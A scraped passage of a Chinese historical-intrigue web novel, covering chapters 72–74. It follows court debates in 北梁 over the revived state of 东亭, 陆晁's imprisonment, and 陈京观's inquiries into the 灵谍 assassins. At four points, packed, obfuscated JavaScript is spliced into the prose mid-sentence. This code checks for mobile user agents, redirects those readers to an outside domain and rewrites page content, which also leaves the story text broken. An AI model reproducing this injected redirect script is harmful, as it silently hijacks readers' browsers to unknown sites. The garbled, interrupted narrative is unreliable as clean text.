当元衡召自己进宫时,陆晁心里拿不定主意,他不知道元衡是因为林均许还是因为东亭。而昨夜元衡只字未提林均许,只与陆晁对着地图商议了半天。 说实话,起初的陆晁不明白元衡的心思。他明明什么都知道,可他还是选择这样做,陆晁觉得元衡在下一盘大棋,可那盘棋上少了相和将。 可也正因为少了将和相,陆晁恍惚间洞悉了一切。 元衡的筹谋,是破釜沉舟,他将陆林两家摘出来,为的是给这北梁寻个兜底的人。 元衡是信任陆晁的,这毋庸置疑,但是信任到什么程度,他又想要用这份信任做些什么,陆晁想不明白。林均许让他按兵不动,让他逆来顺受,他应下了,至于其他的,他也赌一赌这信任的重量。 “禀皇上,依臣愚见,今日东亭虽死灰复燃,但仍不足为惧。若说怕,倒是南魏应当更怕些。十年前割肉饲虎之仇,想必姚康还没有忘。” 孔肃向前行进一步,待他言毕,朝堂上赞许之声依稀可见。 “那孔大人是主张鹬蚌相争?” “正是。”孔肃应答,“如今南魏虽较十年前安健,可垂垂老矣之态难掩半分。若说南北之争最好的时机,当就是此时,东亭起势,更是天助我北梁。臣主张以静制动,适当放开东亭的风筝线,让它与南魏彼此消磨,等两国战至最后,便是我北梁一统天下之时。” 孔肃的话点燃了沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849433|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寂的氛围,那封军报上的鲜血早就被抛之脑后。文臣三三两两应和着孔肃的主张,武将却在一边默不作声。 “我瞧陆大人有其他想法?” 孔肃见元衡不说话,便将矛头转向了久不上朝的陆晁。陆晁今日迈进赋阳宫时便察觉到了危险的气息,这么多年在刀口舔血,他知道这是阴谋的味道。 “孔大人所言确实高明,老臣唯有心悦诚服。只是,”陆晁上前一步,“孔大人如何确保在这过程中,东亭不会继续收复其失地,继而在我北梁的土地上煽风点火?” 陆晁说罢抬头看了一眼元衡,可元衡若有所思的低着头并没有注意到他的动作。 “陆大人思虑周全,孔某也是佩服。可陆大人这么多年行军打仗,必定懂得一个道理,有得必有失。我们求的不过是一个得大于失。” 孔肃又朝前走了几步,跪在殿中。 “皇上,今之时局是天赐良机,我北梁若想一劳永逸,万不可错过这千载难逢的机会。当日的东亭拿的艰难,我孔肃也为逝去的将士垂泪,可王朝天下得之不易,鲜血生命才能筑起丰碑!” 不知是孔肃的豪言壮语真有如此效用,还是说昨夜未眠人不止赋阳宫的两位,此时这朝堂上大臣一齐下跪,都来为孔肃助势。 “陆晁,你若是与孔大人的主张相左,你可有更好的法子?” 元衡终于开口了,他半仰着头,没有理会跪到的一众大臣。 “昌安营冬训即将结束,届时联合南魏从南北两侧夹击,定能将东亭彻底消灭。” “然后呢?打下来的地,该归谁呢?” 陆晁说话时,元衡的目光没有一刻离开他。昨晚他二人聊了许多,设想了许多可能,今日重现时,陆晁还是觉得叹惋。 “皇上,北梁也打不起仗了。” 陆晁低下了头,他避开了元衡的目光,最后索性闭上双眼,只凭耳朵听着四周的议论。 作为昌安营将领,陆晁无疑是将整个北梁的内里剖开了,这是众所周知的秘密,可不到直面之时,人们还是心存侥幸。 北梁建国不足百年,将国土扩张了三倍不止,甚至吞并了比自己更古老的国家。北梁的势头很猛,但是人总有打完的一天,仗却永远打不完。 北梁人骨子里就是好斗的,战争饲养着他们的兵马,亦或者说生命饲养着生命。可人总有老的一天,如今陆晁老了,打不动了,他想为北梁寻个新活法。 “皇上,仅以我北梁国土和兵力,是如今四国中最为强势之存在。臣不求这天下当真能分割而治,只论现在,再打仗于我北梁子民而言并非好事。沉疴旧疾尚在,纵使我们的兵马刀剑能拿下这天下,可若守不住,便会有无数个东亭出现。” 陆晁的话字字锥心,他身后的武将只余叹息。他们是国家的缔造者,他们能用血肉筑起高墙,却不能护住王朝千秋万世。 “听陆将军此言,是在怪我们这些文臣不能治世?” 孔肃依旧跪在殿中,甚至连动作都没有丝毫差别,陆晁叹气道:“孔大人说笑,老夫就是年纪大了,没了少年时的勇武。” “可是陆小将军正当年,此战,许是他扬名立万之机。” 陆晁没有再应声。他在入宫前收到了陆栖野寄回来的信,晏离鸿之事如今密不外传,昌安营一切训练如常。只是陆栖川有些心神不宁,他觉得是自己逼走了晏离鸿。 对于自己这个大儿子,陆晁并没有费太多心血,陆栖川是天生的良木,只要寻着光便能生长的葱郁茂盛。可陆栖川毕竟也是人,是人就会有曲折心肠,陆晁懂陆栖川的无力,也懂他的壮志难酬。 而陆栖川的壮志难酬,正是因为他知道陆晁是对的。他出生的时机不对,他终究难以成为像父亲那般的英雄。陆晁是平世的功臣,到了陆栖川这里,他只可能是乱世的枭雄。 再有十日,重山军营将拔寨去往沧州,到了那时,一切也将有了定夺。 陆晁回想起昨晚元衡对自己说的话。 “潼辉,若是朕的计划落空,这北梁的担子,就得你扛了。我是个自私的人,也是个自私的父亲。我终究是欠你们陆家的。” 或许正是因为知道元衡的心愿,陆晁才越发看不懂他。人到了陆晁这个年岁,要说怕,估计只有生死了。 72.祝鮀之佞(二) “报!阙州驿加急快信一封,须少将军亲启!” 送走了贺福愿,陈京观套好马准备往温叔让处去一趟,不料他刚出门,兵驿的谍子就送来了萧霖的手书。 “皇上为何不传圣旨?” 陈京观接过兵士手里的信,抬头看了他一眼。 “皇上说这不是旨意。信是以夏统领的名义送出来的。” “统领?”陈京观微微挑眉,“看样子他倒是官运亨通。” 那封信只有寥寥数语,萧霖问候了陈京观,言辞中尽是对他的安抚。至于有关东亭的打算,萧霖只留下一句“你依旧是南魏定远将军”。 陈京观将信收好,那谍子欲归返,被陈京观出声叫住。 “如今阙州城里,可还安好?” 谍子眼睛一转,洞悉了陈京观的真意。 “禀少将军,阙州城一切安好。毕竟,”谍子伏下腰,“量谁也打不进崇明殿。” 陈京观轻笑一声,道:“是啊,阙州固若金汤,要从外面肯定打不进去。” 谍子没有应声,向陈京观行礼后快马回京复命。 “席英,”陈京观招手让席英过来,“晏离鸿的事情依旧要查,你让平芜将人手撒到东亭去查。” 席英微微一滞,“你是觉得,晏离鸿会勾结东亭?” 陈京观摇头,“不是勾结,我只是觉得他离开的时机太巧了。他这些时日一直藏在暗处,我估摸着他还会有大动作。不知为何,他给我的感觉很像一个人。” “谁?” 陈京观没有回答席英的话,只是拍了拍她的肩膀以示宽慰。待席英走后,陈京观侧立在马旁有些晃神。 “孟遥鹤,你是不是真的还活着?” …… 温叔让一早备好了陈京观上次回家时点好的饭菜,因为摸不准他什么时候到家,便一直用蒸屉温着,就为了让陈京观进门就吃到一口热饭。 “我回来。” 陈京观立在府院门口,温叔让手上还沾着面粉,由着下人为自己理好衣服,出门去寻他。 “今日怎么就你一个?那两个小的呢?” “他们今日有事来不了了,我走时给他们带些回去。” 温叔让不再多说,招呼陈京观往正厅走。 “是为了东亭的事?” 温叔让不动声色,陈京观轻轻点头道:“有一部分原因。今早萧霖给我来了信,他没有夺我的兵权,却也没有明确的旨意。” “他还是如以前一样。” 温叔让笑着应,“那你是何打算?” 陈京观摇头,“没想好,我想等北梁的动作。” 温叔让抿着嘴没说话,二人在席间坐定后下人们便开始上菜,陈京观选了三道让人原封不动端了下去,说是拿回家给弟弟妹妹。 温叔让遣退了所有服侍的人,自己弓着腰给陈京观添菜。 “您不必做这些,我已经很久没有遵着礼数吃饭了。” 温叔让的筷子停在半空,最后还是将那片鱼肉放在了陈京观的碟子里。 “鱼肉明目,多吃些。” 陈京观点头,用筷子一点点挑着鱼刺。 平日回家陈京观总会带上平芜,他话多,温叔让也喜欢他,有他在的时候总不至于冷场,两个人看起来竟比与陈京观还亲热些。 今日这饭桌上只留下了他二人,两个人面对面坐着,谁都没有抬起头。 “那个……” 两个人同时开口,温叔让笑了一声让陈京观先说。 “我有个问题想请教您。” 温叔让点头,陈京观就继续问:“当日北梁灭东亭,您算是亲历者,对于这其中的隐秘,您知道多少?” 温叔让顿了一下,“你是想问我,南魏与东亭是何关系?” 陈京观轻“嗯”一声。 “当时北梁铁骑由禹州直入东亭,陆晁的昌安营势不可挡,只凭东亭那些靠异术谋定天下的人,本就没多少胜算。如果只说是南魏没有派兵援助,那东亭倒也不至于与我们结仇生恨,可南魏最后那招釜底抽薪,给了东亭最后一击。” 陈京观倏忽间抬眸,温叔让轻叹一声,“萧霖以南魏助战为由,请求北梁交出藏在南魏境内的所有密探。” “所以,南魏不光是见死不救,实际上更是用东亭的死,解决了自己的后顾之忧?” 温叔让点头默认了陈京观的话,“当时你父亲所做行为,更深一层的目的便在此。他的死不仅让南魏定纷止争,更是解决了北梁的威胁。” “可北梁为何会答应?要说元衡那些年在南魏安插谍子必定花费了不少心血,他断不会轻易放弃。” 温叔让笑而不语,他摇着头给陈京观倒了一杯茶,然后看着茶杯里的茶叶起起伏伏。 “这也是元衡的厉害之处,他懂得见好就收。他心里对于自己想要的东西一直都很明确,那时的他要一举拿下东亭,除此以外的牺牲,在所不惜。” 陈京观回想起那日在赋阳宫看到的元衡。 阴暗的宫殿唯有窗棂透过一丝光亮,那光亮不足以让陈京观看清元衡,可元衡却凭着这细微的动作看透了陈京观。 其实当陈京观试图看清元衡时,他就已经输了。他对元衡的好奇心,便是元衡能够拿捏他的原因。 如此想来,林均许和陆晁能在北梁朝堂屹立多年,陈京观心中生出无尽的佩服。他与陆晁有过点头之交,与林均许倒还没有正式见过面,陈京观突然觉得有必要与二人一叙。 “有件事,我觉得你也该知道。” 温叔让继续说,“如今的东亭皇帝姚康,当日其实被北梁军队抓住了,与其他东亭皇族一齐被关押在遥州。可俘虏营在转移的前一夜突遇大火,那火烧了一天一夜,等北梁皇帝派人前往时,那地方只剩下层叠的人影,粘连在一起。” “他是如何逃脱的?” 温叔让笑着摇头,缓缓端起茶杯,任由热气蒸腾他的眉眼。 “从此处入手,或许你就能知道他背后是谁了。” “对了,”温叔让话锋一转,“贺福愿你可以用,但务必当心,他背后是崇宁。” …… 七日后,沧州营。 因为东亭的突然复国,元衡下令元焕带京兵返回澄州防御,让陆栖川携昌安营全体军士原地待命。 “此次回京,我定与父亲斡旋,力保陆伯父。” 元衡躬身朝林均许行礼。林均许过去除却北梁丞相一任,还兼着元衡的老师。 “不,你要保护好你自己。切记,以退为进不失为一种进攻策略。” 元衡一怔,“学生明白了。” 送别元衡,林均许却望着那队渐行渐远的车队叹息连连。 “父亲是觉得,朝中局势会因东亭一事生变?” 这几日的朝夕相处,陆栖川改了口,随着林朝槿叫起了父亲,他此时站在林均许身侧,瞧着身边人这不多的几日竟然须发皆白。 “东亭,或许是转机,也或许,是深渊。” “您觉得皇上会还会打仗吗?” 林均许没有应答,他手里握着陆晁今早派人递来的信。 那封信将几日前的朝堂争端详细说明,还记述了元衡与陆晁彻夜长谈的内容。 元衡的心意与林均许所猜测对上了十之八九,他希望借孔肃的手消除北梁的外患,在其在位时最大程度统一,而想要悄无声息地做成此事,北梁内忧就是最好的挡箭牌。 不过元衡有一点没有说破,他明白林均许对陈频的感情,他不觉得陆林两家可以心无旁骛地执行自己的旨意,于是他让林均许离京避祸,又让陆晁交了兵权。 元衡所做的可谓是地利人和皆具,唯独要看天,给不给他这个机会。 可那一晚元衡没有提为何要让元焕离京。 元衡所做一切,都是为了给元焕一个安定的国家,如同陆晁一般,他们打了一辈子仗,便不希望自己的子孙手上再沾血。 可这一切他大可以告诉元焕,元焕是北梁所有默认的储君,他与元衡的相像,让人们觉得元焕可以带着他们走向下一个盛世。 但是元衡选择隐瞒元焕,并且在他筹谋一切时刻意避开了元焕,林均许看不懂元衡的意思,但他相信作为父亲的直觉。 “栖川,你怕打仗吗?” 没有意想中的果决,陆栖川沉默了许久才说:“不怕。可我不想打仗了。” “为何?”林均许侧身看着陆栖川,“你刚领了将军令,正是建功立业的时候,或许东亭一战,又会成为你陆家的丰碑。” “可是,会死很多人,死很多无辜的人。” 林均许闻言,胸口好似有一团乌云盖住了他的气管,让他深吸进肺的那口气,半天也吐不出来。 “父亲有一日醉酒,他拉着我的手流泪了。他说午夜梦回,他望见我和栖野浑身是血地躺在澄州城门外,而他身上,是皇上封赏的黄金甲胄。” 陆栖川突然觉得鼻腔里涌进血腥气,“您说,我们究竟在打什么?” 林均许说不出话,他又想到了陈频。 今日的林均许作为一介布衣尚且如此,陈频将手里的笔换成杀人的刀时,又想到了什么?他在亲手砍下敌人的头颅时,脑海中还是“刀笔相映,把酒怀情”的少年气吗? “再等些时日,该来的终究会来。” …… 陆栖川没有等到元衡的诏令,却等到了元衡的降罪书。 “奉天承运,皇帝昭曰,昌安军首将陆栖川懈怠职责,遗失军令,使叛贼晏离鸿假传军令,起兵反叛。自即日起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“陆伯父。” 元焕派小厮打点好了一切,叫人打开了陆晁的牢房大门。 虽说陆晁尚未用刑,可在这暗无天日的黑牢里关上一天一夜,也足以消磨人的精气神。 元焕见到陆晁时,他手里难得捧着一本书,趁着日头还好,坐在那束洒落的阳光下看书。 “你怎么来了?这地方湿气重,冬日不能久待。” 陆晁放下手里的书,作势要朝元焕行礼,可元焕伸手扶住了他。 “今日来的,是栖野栖川的兄弟,不是北梁的太子。” 陆晁先是愣了一下,转瞬却笑出声,他将自己的棉被折了折衬在地上让元焕坐,自己则坐在草席上。 “那你便也不要推脱,不然栖野会责怪我没有照顾好你。” 元焕看着那单薄的棉被,还没立春的澄州寒风刺骨,这大牢更是四面透风,只一会,元焕已经觉得浑身发凉。 他侧身用眼神示意自己的随从,那小厮机灵地点头应下了。 “不知您今日来是何缘故?” 陆晁侧身问道,而元焕从怀里拿出一张纸。 “这是降罪陆栖川的诏书,全按您的意思所写。您看看可有遗漏?” 陆晁接过那张纸,已有几个月未见儿子,再见时,却将是在这大牢中。 陆晁苦笑着,摇头道:“皇上行事妥帖,自然是万全的。” “那接下来呢?您不担心栖野会意气用事?” 陆晁笑着应:“若放在以前,我怕是要担心的吃不好睡不好,可现在陆栖野,我相信他。” 元焕没有问为什么,在沧州营相处的这些时日,他能感觉到陆栖野的变化,小时候他便听父亲说过,陆家的两个儿子,是陆晁的两面,不分伯仲,难舍难分。 说实话,元焕很是羡慕。虽说他有元煜这个弟弟,可是他们并不亲近。不过他也理解,同是一母所生,可元煜这辈子都没有继承皇位的机会。 “你回来见过元煜吗?” 陆晁看穿了元焕的心思,直接开口问他。 “没有,他每日不知道在忙些什么,就连母亲也很少能见到他。由他闹吧!” 陆晁笑着摇头道:“我倒希望栖野也永远长不大。” 元焕顺着陆晁的话笑着,可转瞬变了颜色。 “陆伯父,您说父亲将我调离京城,真的只是磨砺吗?” 陆晁没有立刻回答元焕的话,他挣扎着起身,然后拍了拍元焕的肩膀。 “你父亲比你想的更爱你。父母之爱子,则为之计深远。他所做皆是为了你,你只用记住这句话就好。” 元焕“嗯”了一声,却忍不住继续问:“那您自请领兵平反,也是为了他们兄弟俩吗?” 陆晁背对着元焕,他望着高处的玄窗,元焕看不到他的表情,只听他叹息一声,然后答道:“是为了他们仨。” 73.掊斗折衡(三) 陈京观回到自己的小院,正巧碰见从外面回来的平芜。 近些时日事情一件赶着一件来,陈京观许久没有与平芜私下聊过天,此时他骑马站定在院门口,远远地瞧着平芜给手下布置任务。 那一刻,陈京观恍惚间以为平海回来了。 “怎么不进去?” 陈京观回头,席英悄无声息地站在自己背后,他笑着答:“你真是做刺客的好手,走路一点声响也没有。” 席英轻笑一声没有回答,向前走了两步站在陈京观旁边,也一同望着远处的平芜。 “他其实很早就开始查东亭了。我清早与他说你的安排时他神色不太正常,我估摸着他查出了些什么,但不好同你说。” 陈京观侧身看了席英一眼,又继续回望平芜。 平海走后,平芜接管了陈京观这么多年随商队来往各界布下的暗桩。 陈京观起初不太放心他,想着找个做事妥帖的伙计帮衬着点平芜,可这小子倒是让陈京观刮目相看了。 陈京观的暗桩一开始只埋在与昌用有关系的商行处,虽说稳定,但极易暴露。平海接手后把谍子确认到人,取消了固定的站点,可这一招增加了流动性却也增加了不确定性,谍子之间互不通信,很容易联络中断。 于是平芜提出将暗桩埋在明线里,让平远军的军驿做掩护,所有书信全部按照官方渠道输送,而信中内容互不干涉,也就是俗称的“夹带私货”。 为此,平芜凭着自己吊儿郎当上过的几天学堂,竟然自己编纂出一套颇有章法的分类。新暗桩运行至今,毫无差错。 “你们先收拾着吃饭。平芜心里有主意,他要是想让我知道,他会开口的。” 席英接过陈京观手里的食盒,掀开盖子后发出赞叹的声音,“不得不说,温大人的手艺当真是我吃过最好的。” 陈京观侧首看了一眼席英,又不自觉地低头看了一眼那个食盒。 温叔让的话还憋在他心口,陈京观找不到人可以吐露。 外人眼里的温叔让是谨言慎行,和畅温良的,陈京观从前也一直如此认为,即使他还给温叔让加上了怯懦的标签。 可这些时日的相处,陈京观觉得温叔让温良的表皮下面还藏着不为人知的手段。 作为崇州一州最高长官,他的耳目不可不谓明畅,贺福愿特意选了清早登门,温叔让依旧能第一时间知道,而且他评价贺福愿的话十分笃定,是陈京观入朝以来听到过最明晰的判断。 除此以外,崇州位于三界,东亭的动向不可能避开温叔让的察觉,但是他一言不发直到一切尘埃落定,哪怕时至今日战火欲起,他还是一副坦然模样。 陈京观知道他这位外祖父该是看淡生死了,可在刑部待了那些年头,他不该看淡旁人的生死。 最后,是泯川楼。陈京观只是短暂踏足那里,便能察觉出许多异常,红楼的账面如此干净,生意往来依仗画舫游船也变得透明,越是一切看起来如此正常,陈京观越觉得不同寻常。 含糊其辞的掌柜,神秘莫测的姑姑,以及行踪未定的霜栽,这些人单拉出来一个都足够好好巡查一番,如今她们栖于一地,若不是凤鸾巢,便是蛇蝎窝。 对于这一切,温叔让一言不发,陈京观觉得温叔让变得有些像崇明殿里那位。只是细论起来,他们又有些不同。 萧霖是在默认一切发生,因为他觉得一切都与己无关;可温叔让不同,他的沉默不语,好似因为一切尽在掌握之中。 他在看戏。 当了几十年戏子的人,如今坐在了戏台下。 陈京观还记得温叔让说那一句“不会”时的神情,他是那么笃定,就像是他拼尽一切,就是为了那一天的到来。 但是那一天的到来意味着什么,陈京观心里清楚,他不想让温叔让走到那一步。 骨血之情胜于天,更何况温叔让是陈京观在这世上最后一个亲人了,最后一个见到过最初的陈京观的人了。 “师兄!” 平芜在一旁喊了陈京观许久,可他陷在自己的思索里并没有察觉,直到平芜拍了他一把,陈京观才后知后觉回过神。 “席英说你找我?” 陈京观先是一愣,而后瞧见席英朝自己的方向努了努嘴,作出阴谋得逞的表情,陈京观也就明了了她的心思。 陈京观的犹豫已经害他错过了许多最后一次开口的机会,但是性格使然,他常说平海和席英沉闷,殊不知最喜欢憋着不说话的是自己。 席英明白他,所以不想他再经历一次。 “嗯,有件事问你。” 平芜看陈京观不像是开玩笑的口吻,便也收起脸上满不在意的表情。 “我听席英说你之前就在调查东亭,可有查到什么?” 平芜眼神一暗,“我以为你会怪我擅作主张。” 陈京观嘴角上扬,“权利给你了,就是让你用的。若哪一日你独当一面了,我是最受益的人。” 平芜抿了抿嘴,暗暗点头,“明白,”他微微侧身缩短了自己与陈京观之间的距离,“我之前是怀疑哥哥的死,与东亭的刺客组织有关。” 陈京观眼角微微抽动,“你一直在查?” “嗯,从他下葬,你把暗桩交给我的那一天起。” 陈京观喉咙一酸,脸上表情如常,示意平芜继续说。 “东亭当时建国是靠着向南魏进贡所谓的奇珍异宝和灵丹妙药,那时的南魏皇帝相信奇闻异术,便给了东亭生存的意义。可东亭毕竟是仰人鼻息的小国,他们深知一朝天子一朝臣的道理,于是东亭王室开始培养自己的刺客组织,妄想以此为刃权当自卫,而那群谍子称之为灵谍。” 灵谍,陈京观在《东亭异闻录》上见过这个名字,当时血洗都定口便是他们的功劳。 灵谍向来以稳准狠著名,他们没有固定的入选门槛,男女老少皆可为谍,也正因如此,灵谍很难被人察觉,他们的消失,也很难被人注意。 就如同刺杀平海的那个小女孩。 “我听席英详细记述过那日的情形,无论是刺客的身份还是他们的手段,都与灵谍的形态十分相似,故而我派了一小队人马回到新北梁,让他们扎根于此,持续获得有关灵谍的消息。” “可东亭灵谍是王家御用,不该随着东亭旧族的灭亡而消失吗?谁能有这么大的权利重新召集灵谍?” 陈京观的话刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894677|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问出口,脑中突然灵机一动,“所以灵谍重现,是姚康的手笔?” 平芜点了点头,当即又摇头道,“他二者确实有联系,可因果关系错了。是姚康复国,借了灵谍的势。” 见陈京观沉默不语,平芜解释道:“灵谍确实该有东亭王室统领,可是灵谍出没却早于姚康现身。至于最初出现灵谍的地方,我想你该有怀疑。” “泯川楼。” 平芜点头道:“对。那日你要去泯川楼时,我其实有些犹豫要不要直接告诉你,可是霜栽姑娘的身份我没有查清楚,我不想让你鲠着这根刺见她。” 陈京观先是一怔,随即哈哈大笑,他伸手搂过平芜的肩膀,一边走一边说:“下次不用有所顾忌,我待霜栽有愧,所以格外在意她的感受,我待你,也是如此。” 陈京观感觉到平芜的肩膀一紧,瞧见身边的少年人低下了头。 “继续查吧,你的消息对我来说很重要。” 平芜像是受到了鼓舞,虽然只是简单的“嗯”了一声,语气中却满是喜悦。 “其实师兄不用觉得愧,与我与她都是如此。我哥死了,我查到是灵谍所为,孟姑娘惨遭灭门,是南魏朝堂所为。你大可不必将一切揽在自己身上,你这么做,无非是给自己以负累。” 陈京观没有应答,只是用手拧了拧平芜的肩头,笑着低头应了声“好”。 其实平芜的话陈京观何尝不清楚,只是这些负累,已经成了他的血肉,让他每次想停下时,必须迈步向前。 人活着总是为了些什么,陈京观觉得自己便是为了人生中的一切。 或许旁人瞧他强说忧愁,可陈京观自己知道,自己为自己寻到的麻烦,是他能够继续活下去的动力。 在阙州那场风雪中烧成灰烬的,除却陈府,还有陈京观那颗本可以自得的心。 他这一生,注定借力而活。 “报!董将军快信!” 陈京观与平芜还未踏进家门,陈京观便被身后的信使喊住,他松开平芜让他先进屋用饭,自己将信使叫进了书房。 “雍州有异?” 信使摇头,“是北梁的信。” 陈京观前些日子听闻了北梁局势变迁,可等打开信,却发现竟然是天翻地覆。 不过此次来信的不是陆栖野,是陆晁。 陈京观瞧着书信落款处的名字,手指的力度下意识加重。不得不说陆晁与陈京观倒是心有灵犀,陈京观刚将去北梁提上日程,陆晁便给他找好了门路。 此番去北梁,陈京观不能以自己的身份前往,董辉会安排好他出关的一切事务,到了北梁后,元焕亲自接应。 陈京观读到这里,俨然能感受到事情的严重性。 近些日陆栖野重担在身没空给陈京观报信,陈京观凭着自己的谍子获悉了北梁的事情,但是身在局中的人自然会有不一样的感受。 陆晁在信中毫不避讳地提到了晏离鸿,并且说明此番邀陈京观前往,是为了托孤。 陈京观收起信,示意信使先退下,他自己在书房静坐了片刻,推门而出。 “平芜随我去一趟北梁,即刻出发。席英守好家,我不在,你就是最高统帅。” 74.掊斗折衡(四) 陈京观到澄州之时,恰逢春分。 自他带平远军入阙州以来,他来北梁的次数屈指可数,可慢慢的他也经历了北梁的一年四季。 只是此时再来,明明是一年中最好的时节,北梁却竟是肃杀之气。 “可是黄掌柜?” 陈京观刚冒头,澄州城门口的茶摊就有人叫住了他。 “在下黄三余,您是元先生的书童?” 眼前的人看上去年纪轻轻,身着一件灰青色布衣,陈京观刚一张口,他便做出噤声的手势。 “老先生有事,元先生今日上山去了。他叫了我来迎您,您若放心,且先随我去客栈稍等片刻?” “您请带路。” 二人由元焕的随从带到约定的客栈,那年轻人便找了个由头跑了出去,只留下陈京观与平芜。 “不是,师兄这嘴上功夫许久未用竟也不见生疏。” 平芜打着哈哈,语气中满是调侃,陈京观颇有深意地瞥了他一眼。 “你好好学着,若哪一日你能说出这番话了,我给你当小厮。” “当真?” “我何时骗过你?” 二人在客栈等了一刻钟,依旧不见人来。陈京观顺着窗户朝外望,没有察觉到异常,平芜四下里打探了一番,也摇头示意。 “陆将军要找我,定然是过了元衡这一关的,他没有理由拦着元焕。” 陈京观刚说罢,房间的大门被推开。 “少将军怎知父亲一定知晓?” 元焕抬手支走了所有人,又把目光聚焦在平芜身上。 “他是我弟弟,信得过。” 元焕没有再说话,倒是平芜瞧了陈京观一眼。 “少将军还没回我的话,您如何知道此事是父亲准允?” 陈京观轻笑,“殿下虽与陆家兄弟亲厚,可毕竟君臣有别,陆将军为官多年,自然明白其中道理。他直言由殿下送我入刑部大牢与陆将军一见,那便是对此事绝无隐瞒之意。可他又让我化名前来,那他便是要瞒着天下,唯独不避北梁皇帝。” “少将军果然名不虚传,”元焕拍手叫好,“南魏朝堂有您这样的少年才俊,我倒当真要留心些了。” “殿下谬赞。我智勇不比陆小将军,仁义不及陆少主,您有此二人,何惧不能有个清明盛世?” “少将军的口才也果真一流,怪不得栖野喜欢与你相交。” 元焕停下了嘴上的试探,朝着陈京观走近。 “再等一个时辰,刑部轮守换班,届时我带你进去。” 陈京观微微挑眉,“殿下如此信我,竟将这等秘事告知?” 元焕饶有兴趣地看着陈京观,“凭少将军身边这位,北梁还有什么是您不知道的?” 闻言,平芜下意识将脊背绷直,眼中笑意尚存,可眼底浮上一层薄雾。 元焕见他这副样子,摆手示意他放轻松,“你很厉害,我只知道你将手伸到了北梁,可我抓不住你的影子。” 元焕盯着平芜的眼睛,那双眼睛毫不示弱,陈京观看着面前剑拔弩张的二人,突然觉得元焕真的好像他的父亲。 不过元衡胜在年岁历练,心中纵有千百杀机,那双眼睛里依旧不露半分,而元焕这双眼睛望人的时候,戏谑和好奇毫不隐藏。 “陈某多谢殿下与陛下的信任。” 陈京观出言打断了二人的目光对垒,平芜乖顺地退回陈京观背后。 “既然殿下对我的手段如此清楚,想必殿下的耳目必定也知悉东亭的真相?” 元焕的主动出击让陈京观认识到了眼前人的厉害,可也因此生出其他心思,在见陆晁之前,不妨先摸一摸北梁的底。 “少将军想问什么,若能说的,我知无不言。” “我自然不会为难殿下,”陈京观一顿,“对于江阮,您如何看待?” 江阮,这个消失了很久的人,他的名字却没有一刻从陈京观脑海中去除。 陈京观经历的事情越多,他越能发现这桩桩件件与江阮密不可分。 起初江阮主动示好,陈京观顾忌他的势力选择与他为盟,可是恪多之死,景州茶税案,让他认清自己与江阮终究是不同的人。他相信江阮也发现了,不然不可能了无音讯这么多时日。 只是陈京观没有想明白江阮的动机,他离开的如此彻底,就如同他没有出现过一般。 是陈京观做了什么,让他在江阮那里失去了价值吗? 直至今日,陈京观依旧觉得纵使不能与江阮做真正的朋友,他也不想与他成为敌人。他知道自己与江阮是不一样的人,可他又觉得自己与江阮很像,江阮像是没有遇到宁渡时的陈京观。 陈京观不期望自己能如宁渡一样拉江阮一把,他只希望江阮能平顺地度过一生。 元焕似乎对于陈京观的问题早有预料,他撇嘴一笑,“我们能留他在澄州做生意,自然是查过他的背景。我听闻少将军与江掌柜也算亲密,怎么,你不信他?” “不是信与不信。江阮于我,是永远无法嵌合的朋友。朋友是期望,无法嵌合是现实。” “那少将军觉得此人的势力到了何等地步?” 陈京观没有当即回答,他思虑了一会,缓缓开口:“我觉得,东亭复国有他的功劳。” 元焕对陈京观的回答不置可否,“理由呢?” “他是我能想到,最有动机和能力做成此事的人。” 元焕作出一副思索的表情,“他的能力我认可,可动机,少将军何以判断?” “他不是希望东亭复国,他是希望出现一个势力打破平静。简言之,他希望混乱,他喜欢混乱。” 元焕脸上笑意更浓,“他为何如此?” “我不知道,但是我觉得和他从未与我谈及的过去有关。” 元焕微微点头,陈京观却轻笑一声,“本是我问殿下,怎得成殿下问我了?” 元焕陪着笑道:“少将军机敏,对一切心知肚明,我属实帮不上什么忙。不过我有一点可以补充,江阮是认识姚康的,且二人相交匪浅。不过至于东亭复国的始末,我也没有确切消息。” 元焕的话相当于为陈京观的猜想验了真伪,在江阮没出现的这段时间,他如若不是放弃了陈京观,那就是他有更重要的事情要做,他要借东亭复国做些什么。 江阮同陈京观说过,他是商人,无利不起早,那么东亭复国带给他的好处是什么?他想要让这世间纷乱的原因又是什么?陈京观有了一些头绪,可那一切荒谬而又可怖,不到最后一刻,他不愿给江阮扣上那顶帽子。 陈京观知道江阮狡猾,可江阮除却递给遏佐那把刀,他没有害过陈京观。 江阮或许极端,或许阴狠,可是作为盟友,他问心无愧。 “既然少将军问了,那我觉得有件事您该知道。” 陈京观侧目看着元焕,等着他的下文。 “江阮手里的,掌着东亭的灵谍。我不知道他凭何可号令灵谍,但是灵谍,是江阮手里的利刃。也是为此,我们没有把握可以一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 